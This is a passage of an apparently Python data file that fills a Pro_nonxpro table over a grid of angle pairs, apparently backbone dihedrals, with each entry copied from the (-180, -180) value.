Pro_nonxpro[(30, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, 120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, 130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, 140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, 150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, 160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, 170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, -10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, 0)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, 120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, 130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, 140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, 150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, 160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(40, 170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, -10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, 0)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, 120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, 130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, 140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, 150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, 160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(50, 170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, -10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, 0)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, 120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, 130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, 140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, 150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, 160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(60, 170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, -10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, 0)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, 120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, 130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, 140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, 150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, 160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(70, 170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, -10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, 0)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, 120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, 130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, 140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, 150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, 160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(80, 170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, -10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, 0)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, 120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, 130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, 140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, 150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, 160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(90, 170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, -10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, 0)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, 120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, 130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, 140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, 150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, 160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(100, 170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, -10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, 0)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, 120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, 130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, 140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, 150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, 160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(110, 170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, -10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, 0)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, 120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, 130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, 140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, 150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, 160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(120, 170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, -10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, 0)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, 120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, 130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, 140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, 150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, 160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(130, 170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, -10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, 0)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(140, 120)]=Pro_nonxpro[(-180, -180)]
